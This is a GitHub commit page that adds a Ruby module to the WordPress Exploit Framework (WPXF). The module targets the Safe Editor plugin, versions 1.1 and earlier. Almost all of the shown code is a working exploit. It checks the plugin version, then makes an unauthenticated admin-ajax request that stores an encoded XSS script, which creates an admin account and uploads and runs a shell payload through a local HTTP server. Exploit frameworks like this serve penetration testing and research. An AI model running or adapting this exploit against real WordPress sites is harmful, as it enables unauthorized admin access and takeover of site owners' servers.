Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 2ff80d0

Browse files
committed
Add Safe Editor <= 1.1 XSS module
1 parent 8c47597 commit 2ff80d0

File tree

1 file changed

+59
-0
lines changed

1 file changed

+59
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
class Wpxf::Exploit::SafeEditorXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::Xss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Safe Editor <= 1.1 XSS Shell Upload',
9+
desc: 'This module exploits a lack of user level validation and input '\
10+
'sanitization in versions <= 1.1 of the Safe Editor '\
11+
'plugin which allows unauthenticated users to store '\
12+
'a script that will create a new admin user and use the new '\
13+
'credentials to upload and execute a payload when an admin '\
14+
'views the page.',
15+
author: [
16+
'@robsat91', # Disclosure
17+
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
],
19+
references: [
20+
['WPVDB', '8497']
21+
],
22+
date: 'May 17 2016'
23+
)
24+
end
25+
26+
def check
27+
readme = normalize_uri(wordpress_url_plugins, 'safe-editor', 'readme.txt')
28+
check_version_from_custom_file(readme, /=\s(\d\.\d(\.\d)?)\s=/, '1.2')
29+
end
30+
31+
def run
32+
return false unless super
33+
34+
emit_info 'Storing script...'
35+
res = execute_post_request(
36+
url: wordpress_url_admin_ajax,
37+
body: {
38+
'action' => 'se_save',
39+
'type' => 'js',
40+
'data' => xss_ascii_encoded_include_script
41+
}
42+
)
43+
44+
if res.nil?
45+
emit_error 'No response from the target'
46+
return false
47+
end
48+
49+
if res.code != 200
50+
emit_error "Server responded with code #{res.code}"
51+
return false
52+
end
53+
54+
emit_success 'Script stored and will be executed when a user views a page'
55+
start_http_server
56+
57+
xss_shell_success
58+
end
59+
end

0 commit comments

Comments
 (0)